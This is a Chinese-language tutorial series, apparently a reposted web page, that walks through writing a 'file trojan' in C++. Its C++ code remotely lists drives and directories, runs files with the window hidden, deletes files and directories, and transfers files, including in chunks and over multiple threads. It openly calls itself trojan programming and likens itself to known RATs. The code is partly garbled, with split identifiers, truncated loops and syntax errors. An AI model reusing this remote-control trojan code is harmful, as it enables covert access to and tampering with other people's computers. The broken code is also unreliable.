C++实现文件传输

C++实现文件传输
C++实现文件传输

c++实现文件传输之一:框架结构和界面实现

在木马中文件管理的重要性,是无需质疑的,对于文件的管理,做到并不难,但做好却也不易在我们编写一个功能完整的“文件木马”

其实现效果如图所示。为了文章的完整性,我们将分为数篇来介绍,本文主要介绍程序的整体框架和界面实现,在以后的文章中将以此框架为基础实现详细的功能。

实现:枚举磁盘,枚举目录,获取文件信息

上传文件,下载文件,执行文件,创建目录,删除目录等

传输控制结构

要实现客户端与服务端的通信,设计一个合理的传输控制结构,会使后面的工作轻松很多,为了使代码易读

首先对要使用的命令进行预定义其各个命令定义如下

#define GetDriver 0x01 //磁盘信息

#define GetDirInfo 0x02 //目录信息

#define ExecFile 0x03 //执行文件

#define GetFile 0x04 //下载文件

#define PutFile 0x05 //上传文件

#define DelFile 0x06 //删除文件

#define DelDir 0x07 //删除目录

#define CreateDir 0x08 //创建目录

#define FileInfo 0x09 //文件信息

#define GetScreen 0x10 //查看屏幕

在程序的网络通信中主要有操作命令 ,命令对像,和具体数据三部分,对于命令的传输定义如下结构

typedef struct

{

int ID; //操作命令

BYTE lparam[BUF_LEN*2]; //命令对像

}COMMAND;

因为在程序中打交道最多的就是文件,对文件的详细属性定义如下结构

typedef struct

{

char FileName[MAX_PATH]; //文件名称

int FileLen; //文件长度

char Time[50]; //时间信息

BOOL IsDir; //为目录否

BOOL Error; //错误信息

HICON hIcon; //图标句柄

}FILEINFO;

服务端结构

服务端还是比较简单的其整体思路如下

1.服务端循环接受连接,并把连接交给线程处理

2.线程接受"命令数据",并跟据命令ID将命令对像和SOCKET句柄传给处理函数

3.函数执行指定功能,并返回执行结果

对整体结构的描述,我们用伪代码表述如下

main()

{ /*初示化设置......*/

while(true)

{

if(client=accept(server,(sockaddr *)&clientaddr,&len))//循环接受连接{

CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);//传递线程处理

}

}

/*清理释放资源......*/

WSACleanup();

}

服务端程序运行后循环接受连接,如果有新的连接就传递给新的线程处理,线程代码如下

DWORD WINAPI SLisen(LPVOID lparam)

{

SOCKET client=(SOCKET)lparam;

COMMAND command;

while(1)

{

if(recv(client,(char*)&command,sizeof(command),0)==SOCKET_ERROR)//接受命令数据

{

cout<<"The Clinet Socket is Closed/n";

break;

}else

{

switch(command.ID)//判断命令ID

{

case GetDriver://将命令对像和SOCKET句柄传递给处理函数

GetDriverProc (command,client);

break;

case DelFile:

DelFileProc (command,client);

break;

/*其它命令......*/

}

}

}

}

线程式的功能是接受客户端的"命令数据",并跟跟据命令ID 将命令对像传递给处理函数,由函数完成指定的功能

以删除文件命令为例其函数格式如下

DWORD DelFileProc (COMMAND command,SOCKET client)

{

if(DeleteFile((char*)command.lparam)==0)//command.lparam为命令对像,这里为要删除的文件路径

{

send(client,"删除失败...");

}

else

{

send(client,"删除成功...");

}

}

很容易看出,处理函数接受"命令对像"和客户端SOCKET句柄,执行后会把结果传递回去....

客户端结构

客户端结构的实现思路如下

1.跟服务端建立连接

2.发送用户命令

3.启动一个线程,用于接受服务端的返回信息

对整体结构的描述,我们用伪代码表述如下

void CMyDlg::OnConnect()

{

if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)//连接....

{

return ;

}

CreateThread(NULL,NULL,CLisen,this,NULL,NULL);//创建线程用于接受SERVER返回信息

}

对于用户发送的命令我们仍以删除文件为例说明其代码如下

void CMyDlg::OnMenuDelFile()

{

HTREEITEM CurrentNode = m_tree.GetSelectedItem(); //取得选择的节点CString FullPath =GetFullPath(CurrentNode); //取得节点全目录COMMAND command;

command.ID=DelFile; //设置命令为删除文件 //删除文件

command.lparam=FullPath.LockBuffer()); //将路径加入命令对像

send(server,command);

}

用于接受SERVER返回信息的线程,和服务端接受命令线程相似,这里就不再说明了,有兴趣可以看下源代码

到这里程序的流程框架就介绍完了,下面我们再看一下程序的界面设置.

界面实现

程序的主界面如上图所示,主程序是一个对话框,主要包括一个树控件m_tree 和列表控件m_list分别

用于显示磁盘目录和文件,在对话框初示化时用以下代码设置树控件的属性

DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);

dwStyle |=TVS_HASBUTTONS | TVS_HASLINES | TVS_LINESATROOT; SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);

对于列表框控件则没有太多要求,要留意的是,如果显示图标应该把Styles显示属性设置为ICON

VC的做出的界面,常常让人有种摔键盘的冲动。其实稍微留意一下其设置,也可以让它漂亮一些

比如上图所示的界面就是经过简单设置得到的,而没有用其它类库,有点兴趣?其设置方法为:

1.在对话框属性中设置Styles 的Border属性为Thin

2.选重More Styles "可见" 属性

3.选重Extended Styles的"静态边"属性

这样再运行一下程序是不是感觉清新不少?

到这里程序的主要结构框架和界面实现就介绍完了,下一篇将详细介绍其各种功能的实现

c++实现文件传输之二

在上一篇中,我们以经介绍了程序的流程和框架,在本篇将详细讨论各个功能的实现主要包括

1.获取磁盘信息

2.获取目录信息

3.获取文件信息

4.运行指定文件

5.删除指定文件

6.删除指定目录

7.创建指定目录

8.上传下载文件

9.获取远程文件图标

获取磁盘信息

磁盘信息可以用API GetDriveType来实现,它以路径名作为参数(如C:/)返回磁盘类型,其实例代码如下

DWORD GetDriverProc(COMMAND command,SOCKET client)

{

for(char i='A';i<='Z';i++)

{

char x[20]={i,':'};

UINT Type=GetDriveType(x);

if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) {

/*返回处理结果...*/

}

}

return 0;

}

GetDriveType可能返回的结果如下

#define DRIVE_UNKNOWN 0 // 无效路径名

#define DRIVE_NO_ROOT_DIR 1 // 无效路经,如无法找到的卷标

#define DRIVE_REMOVABLE 2 // 可移动驱动器

#define DRIVE_FIXED 3 // 固定的驱动器

#define DRIVE_REMOTE 4 // 网络驱动器

#define DRIVE_CDROM 5 // CD-ROM

#define DRIVE_RAMDISK 6 // 随机存取(RAM)磁盘

在上面的实例代码中我们只取,硬盘,光驱和移动磁盘

获取目录信息

这里只要枚举用户指定的目录就可以了,其实例代码如下:

DWORD GetDirInfoProc(COMMAND command,SOCKET client)

{

/*command为要枚举的路径如(C:/)client为返回结果的SOCKET句柄*/

FILEINFO fi;

memset((char*)&fi,0,sizeof(fi));

strcat((char*)command.lparam,"*.*");//枚举所有文件

CFileFind file;

BOOL bContinue = file.FindFile((char*)command.lparam);

while(bContinue)

{

memset((char*)&fi,0,sizeof(fi));

bContinue = file.FindNextFile();

if(file.IsDirectory()) //为目录

{

fi.IsDir=true;

}

strcpy(fi.FileName,file.GetFileName().LockBuffer()); //保存文件名称

if(send(client,(char*)&fi,sizeof(cmd),0)==SOCKET_ERROR)

{

cout << "Send Dir is Error/n";

}

}

return 0;

}

获取文件信息

以下实例代码用来获取文件的名称,路径,时间,属性等信息

DWORD FileInfoProc (COMMAND command,SOCKET client)

{

/*command为要查看的文件如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/ FILEINFO fi;

HANDLE hFile;

WIN32_FIND_DATA WFD;

memset((char*)&WFD,0,sizeof(WFD));

if((hFile=FindFirstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_ VALUE) //查看文件属性

{

fi.Error=true;

return 0;

}

//得到文件的相关信息

SHGetFileInfo(WFD.cFileName,

FILE_ATTRIBUTE_NORMAL,

&shfi, sizeof(shfi),

SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME );

strcpy(fi.FileName,(char*)command.lparam); //文件路径

FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024; //文件长度

fi.FileLen=FileLen;

//转化格林时间到本地时间

FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime); FileTimeToSystemTime(&localtime,&systime);

//文件修改时间

sprintf(stime,"%4d-%02d-%02d %02d:%02d:%02d",

systime.wYear,systime.wMonth,systime.wDay,systime.wHour,

systime.wMinute,systime.wSecond);

if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_HIDDEN) {

/*隐藏文件...*/

}else

if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_READONLY) {

/*只读文件...*/

}

send(client,(char*)&fi,sizeof(fi),0);

FindClose(hFile);

return 0;

}

运行指定文件

运行文件有以下几种方法 1.WinExec 2.ShellExecute 3.CreateProcess

这里使用的是ShellExecute其实例代码如下

DWORD ExecFileProc (COMMAND command,SOCKET client)

{

/*command为要运行的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET 句柄*/

COMMAND cmd;

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=ExecFile;

if(ShellExecute(NULL,"open",(char*)command.lparam,NULL,NULL,SW_HIDE)< (HINSTANCE)32)

{

strcpy((char*)cmd.lparam,"文件执行失败!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

else

{

strcpy((char*)cmd.lparam,"文件执行成功!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

return 0;

}

API函数ShellExecute原形为:

HINSTANCE ShellExecute(

HWND hwnd, //窗口句柄

LPCTSTR lpOperation, //操作类型

LPCTSTR lpFile, //文件指针

LPCTSTR lpParameters, //文件参数

LPCTSTR lpDirectory, //缺省目录

INT nShowCmd //显示方式

);

这是一个相当有意思的函数,在调用此函数时只须指定要执行的文件名,而不必管用什么程序去打开

或执行文件,WINDOWS会自动根据要打开或执行的文件去判断该如何执行文件或用什么程序去打开文件,如果

要求不高的话比CreateProcess要好用的多,如果想做出像NCPH和灰鸽子那样带参数执行的话,其实也不难

只要指定lpParameters为执行参数就可了

删除指定文件

DWORD DelFileProc (COMMAND command,SOCKET client)

{

/*command为要删除的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET 句柄*/

COMMAND cmd;

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=DelFile;

SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL); //去掉文件的系统和隐藏属性

if(DeleteFile((char*)command.lparam)==0)

{

strcpy((char*)cmd.lparam,"文件删除失败!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

else

{

strcpy((char*)cmd.lparam,"文件删除成功!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

return 0;

需要注意的是在 DeleteFile前应该去文件的系统和隐藏属性,否则会删除失败

删除目录

可以用RemoveDirectory函数删除目录,但是RemoveDirectory有个缺点就是只能删除为空的的目录,对于不为空

的目录就无能为力了,想要删除不无空的目录可以使用下面的实例代码

BOOL DeleteDirectory(char *DirName)

{

CFileFind tempFind;

char tempFileFind[200];

sprintf(tempFileFind,"%s*.*",DirName);

BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);

while(IsFinded)

{

IsFinded=(BOOL)tempFind.FindNextFile();

if(!tempFind.IsDots())

{

char foundFileName[200];

strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200));

if(tempFind.IsDirectory())

{

char tempDir[200];

sprintf(tempDir,"%s//%s",DirName,foundFileName);

DeleteDirectory(tempDir);

}

else

{

char tempFileName[200];

sprintf(tempFileName,"%s//%s",DirName,foundFileName); SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL); //去掉文件的系统和隐藏属性

DeleteFile(tempFileName);

cout <<"now delete "<

}

}

}

tempFind.Close();

if(!RemoveDirectory(DirName))

{

return FALSE;

return TRUE;

}

这个函数的代码可以参照上面枚举目录的代码来看,它的原理就是枚举目录下的所有文件并删除,最后删除

指定目录,成功返回TRUE失败则返回FALSE,这段代码可以直使用,但要小心使用,因为我在传参数时的失误

结果把整个D盘差点清空了..........

创建目录

实例代码如下:

DWORD CreateDirProc (COMMAND command,SOCKET client)

{

/*command为要创建目录的路径如(C:/)client为返回结果的SOCKET句柄*/ COMMAND cmd;

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=CreateDir;

if(::CreateDirectory((char*)command.lparam,NULL))

{

strcpy((char*)cmd.lparam,"创建目录成功!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

else

{

strcpy((char*)cmd.lparam,"创建目录失败!可能有重名文件或文件夹");

send(client,(char*)&cmd,sizeof(cmd),0);

}

return 0;

}

在创建目录时应该注意几点,首先创始目录的上层目录必须是存在的,比如想创建C:/DIR1/DIR2目录,要求

DIR1是必须存在,用CreateDirectory并不能创建多级目录.再者不可以存在和要创建目录同名的目录和文件

因为在磁盘上目录和文件的存放格式是相同的,惟一不同的是目录的属性与文件属性不同

(FILE_ATTRIBUTE_DIRECTORY属性),所在即使有同名文件也会创始失败.

上传下载文件

上传下载是是文件管理的重点所在,在这里按文件的大小,分两种情况讨论文件的传输方法

小文件的传输相对比较简单可按以下方法进行

1.首先发送文件长度和名称

2.跟据文件长度建立缓冲区

3.读取整个文件到缓冲区

4.发送缓冲区里的容

其实现代码如下:

CFile file;

FILEINFO fileinfo;

if(file.Open(path,CFile::modeRead|CFile::typeBinary))

{

fileinfo.FileLen=file.GetLength(); //文件长度

strcpy(fileinfo.FileName,file.GetFileName()); //文件名称

send(client,(char*)&fileinfo,sizeof(fileinfo),0); //发送长度和名称

char *date=new char[fileinfo.FileLen]; //分配和文件长度相同的缓冲区int nLeft=fileinfo.FileLen;

int idx=0;

file.Read(date,fileinfo.FileLen); //读整个文件到缓冲区

while(nLeft>0)

{

int ret=send(client,&date[idx],nLeft,0); //发送文件

if(ret==SOCKET_ERROR)

{

break;

}

nLeft-=ret;

idx+=ret;

}

file.Close();

delete[] date;

}

跟据上面的实例相信大家可以领悟到文件传输的基本原理和方法,虽然很简单但用它传输小文件还是非常实用的

大文件传输方法

用上面的方法传输小文件还可以,但是大文件呢?比如一个500M的电影.上面的方法就会力不从心了因为

按思路要创建一个跟文件大小相同的缓冲区,显然这是不太现实的,我们就得采用另种方法了,在这里我们使用

分块文件传输,所谓分块是指把大文件分成若干小文件,然后传输,比如设定每块大小为64KB其思路如下

1.取得文件长度和名称

2.跟据长度/64KB计算文件块数

3.分配64KB缓冲区

4.读文件到缓冲区

5.发送缓冲的数据

6.重复4,5两步直到发完所有数据

其实现代码如下:

#define CHUNK_SIZE (64*1024) //分为64K块传输

DWORD GetFileProc (COMMAND command,SOCKET client)

{

/*command为要下载文件的路径如(C:/TEST.EXE)client为发送文件的SOCKET 句柄*/

COMMAND cmd;

FILEINFO fi;

memset((char*)&fi,0,sizeof(fi));

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=GetFile;

CFile file;

int nChunkCount=0; //文件块数

if(file.Open((char*)command.lparam,CFile::modeRead|CFile::typeBinary) )//打开文件

{

int FileLen=file.GetLength(); //取文件长度

fi.FileLen=file.GetLength();

strcpy((char*)fi.FileName,file.GetFileName()); //取文件名称

memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi));

send(client,(char*)&cmd,sizeof(cmd),0); //发送文件名称和长度

nChunkCount=FileLen/CHUNK_SIZE; //文件块数

if(FileLen%nChunkCount!=0)

nChunkCount++;

char *date=new char[CHUNK_SIZE]; //创建数据缓冲区

for(int i=0;i

{

int nLeft;

if(i+1==nChunkCount) //最后一块

nLeft=FileLen-CHUNK_SIZE*(nChunkCount-1);

else

nLeft=CHUNK_SIZE;

int idx=0;

file.Read(date,CHUNK_SIZE); //读取文件

while(nLeft>0)

{

int ret=send(client,&date[idx],nLeft,0);//发送文件

if(ret==SOCKET_ERROR)

{

break;

}

nLeft-=ret;

idx+=ret;

}

}

file.Close();

delete[] date;

}

return 0;

}

这样文件传输部分就完成了,止于客户端的实现于上面代码其本相同,只是由读文件变为写文件,详细请参考源代码

获取远程ICO文件图标

我们在文件列表框中需要显示文件的图标,但远程文件的ICO图标是无法直接得到的

猛若RADMIN 黑洞者也没有到(对于EXE文件只显示可执行程序图示),当然了也不见的决对没有......

我们可以通过如下变通方法得到:就是跟据文件的扩展名,从本地注册表中查找对应的程序图标

不过这也有它的缺点对于EXE文件它只能显示一个可执行文件的图示,而且只能显示注册过的图示比如,如果

本机装有WINRAR那么就可以识别.RAR的文件图示,否则就无法识别...

实现方法

CImageList m_ImageList;

m_ImageList.Create(32,32,ILC_COLOR32,10,30); //创建图示

m_list.SetImageList(&m_ImageList,LVSIL_NORMAL); //与列表控件相关连

SHFILEINFO info;

memset((char*)&info,0,sizeof(info));

SHGetFileInfo(fi->FileName,0,&info,sizeof(&info), SHGFI_ICON|SHGF I_USEFILEATTRIBUTES);//关键所在

int i = m_ImageList.Add(info.hIcon);

m_list.InsertItem(i,fi->FileName,i);

原来我试图在Server端通过上面的代码把info.hIcon句柄保存下来,然后放到Client,在单台电脑上很好使,但

Server在另一台电脑上时就玩完了,因为info.hIcon里保存的句柄是个索引而每台机器上的索引是不相同的所以

直接导致的结果就是:什么也显示不出来....

c++实现文件传输之三:断点续传与多线程传输转

继木马编程DIY的上两篇,现在我们开始讨论断点续传与多线程文件传输的实现.其实这两项功能是下载软件所

必不可少的功能了,现在我们把它加到自己的木马中来感受感受.提到多线程下载,首先向网络蚂蚁的作者

洪以容前辈致敬,正是由于网络蚂蚁而使得多线程下载被关注并流行起来.在这本篇文章中我们将简单的实现

支持断点续传和多线程传输的程序.为了更清晰的说明问题,我们将断点续传与多线程传输分别用两个程序来实现

多线程传输实现

实现原理

将源文件按长度为分为N块文件,然后开辟N个线程,每个线程传输一块,最后合并所有线线程文件.比如

一个文件500M我们按长度可以分5个线程传输.第一线程从0-100M,第二线程从100M-200M......最后合并5个线程文件.

实现流程

1.客户端向服务端请求文件信息(名称,长度)

2.客户端跟据文件长度开辟N个线程连接服务端

3.服务端开辟新的线程与客户端通信并传输文件

4.客户端将每线程数据保存到一个文件

5.合并所有线程文件

编码实现

大体说来就是按以上步骤进行,详细的实现和一些要点,我们跟据以上流程在编码中实现

结构定义

在通信过程中需要传递的信息包括文件名称,文件长度,文件偏移,操作指令等信息,为了方便操作我们定义如下结构

代码:

typedef struct

{

char Name[100]; //文件名称

int FileLen;

//文件长度

int CMD;

//操作指令

int seek;

//线程开始位置

SOCKET sockid;

}FILEINFO;

1.请求文件信息

客户端代码如下

代码:

FILEINFO fi;

memset((char*)&fi,0,sizeof(fi));

fi.CMD=1; //得到文件信息

if(send(client,(char*)&fi,sizeof(fi),0)==SOCKET_ERROR)

{

cout<<"Send Get FileInfo Error/n";

}

服务端代码如下

while(true)

{

SOCKET client;

if(client=accept(server,(sockaddr *)&clientaddr,&len))

{

FILEINFO RecvFileInfo;

memset((char*)&RecvFil eInfo,0,sizeof(RecvFileInfo));

if(recv(client,(char*) &RecvFileInfo,sizeof(RecvFileInfo),0)==SOCKET_ERROR)

{

cout<< "The Clinet Socket is Closed/n";

break;

}else

{

EnterC riticalSection(&CS); //进入临界区

memcpy ((char*)&TempFileInfo,(char*)&RecvFileInfo,sizeof(RecvFileInfo));

switch (TempFileInfo.CMD)

{

case 1:

GetInfoProc (client);

break;

case 2:

TempFileInfo.sockid=client;

CreateThread(NULL,NULL,GetFileProc,NULL, NULL,NULL);

break;

}

LeaveC riticalSection(&CS); //离开临界区

}

}

}

在这里服务端循环接受连接,并跟据TempFileInfo.CMD来判断客户端的请求类型,1为请求文件信息,2为下载文件

因为在下载文件的请求中,需要开辟新的线程,并传递文件偏移和文件大小等信息,所以需要对线程同步.这里使用临界区

其文件信息函数GetInfoProc代码如下

代码:

DWORD GetInfoProc(SOCKET client)

{

CFile file;

if(file.Open(FileName,CFile::modeRead|CFile::typeBinar y))

{

int FileLen=file.GetLength();

if(send(client,(char*)&FileLen,sizeof( FileLen),0)==SOCKET_ERROR)

{

cout<< "Send FileLen Error/n";

}else

{

cout<< "The Filelen is "<

}

}

return 0;

}

这里主要是向客户端传递文件长度,而客户端收到长度后则开辟线程进行连接传输文件

2.客户端跟据长度开辟线程

其实现代码如下

代码:

FILEINFO FI;

int FileLen=0;

if(recv(client,(char*)&FileLen,sizeof(FileLen),0)==SOC KET_ERROR)//接受文件长度

{

cout<<"Recv FileLen Error/n";

}else

{

cout<<"FileLen is "<

int COUNT_SIZE=FileLen/5; / /每线程传输大小

for(int i=0;i<5;i++)

//分5个线程传输

{

EnterCriticalSection(& CS); //进入临界区

memset((char*)&FI,0,si zeof(FI));

FI.CMD=2;

//请求下载文件

FI.seek=i*COUNT_SIZE;

//线程文件偏移

if(i+1==5)

//最后一线程长度为总长度减前4个线程长度

{

FI.Fil eLen=FileLen-COUNT_SIZE*i;

}else

{

FI.Fil eLen=COUNT_SIZE;

}

Thread=CreateThread(NU LL,NULL,GetFileThread,&i,NULL,NULL);

Sleep(500);

LeaveCriticalSection(& CS); //离开临界区

}

}

WaitForMultipleObjects(5,Thread,true,INFINITE);

//等所有线程结束

这里默认开辟5个线程传输,当然可以改为想要的线程数目,仍然用临界区来实现线程的同步问题

3.服务端开辟线程传输数据

在1.请求文件信息中以说明了服务端的结构,这里主要介绍线程函数的实现,其代码如下

代码:

DWORD WINAPI GetFileProc(LPVOID lparam)

{

EnterCriticalSection(&CS);

//进入临界区

int FileLen=TempFileInfo.FileLen;

int Seek=TempFileInfo.seek;

SOCKET client=TempFileInfo.sockid;

LeaveCriticalSection(&CS);

//离开临界区

CFile file;

if(file.Open(FileName,CFile::modeRead|CFile::typeBinar y))

{

file.Seek(Seek,CFile::begin);

//指针移至偏移位置

char *date=new char[FileLen];

int nLeft=FileLen;

int idx=0;

file.Read(date,FileLen);

while(nLeft>0)

{

int ret=send(client,&date[idx],nLeft,0);

if(ret==SOCKET_ERROR)

{

cout<< "Send Date Error /n";

break;

}

nLeft-=ret;

idx+=ret;

}

file.Close();

delete[] date;

}else

{

cout<<"open the file error/n";

}

closesocket(client);

return 0;

}

还是比较简单的,主要是获取线程的文件长度和偏移,并移动文件指针到偏移处,最后读取发送数据,而客户端

接受数据并写入文件.

4.客户端将线程数据保存到文件

GetFileThread的实现代码如下

代码:

DWORD WINAPI GetFileThread(LPVOID lparam)

{

char TempName[MAX_PATH];

相关主题
相关文档
最新文档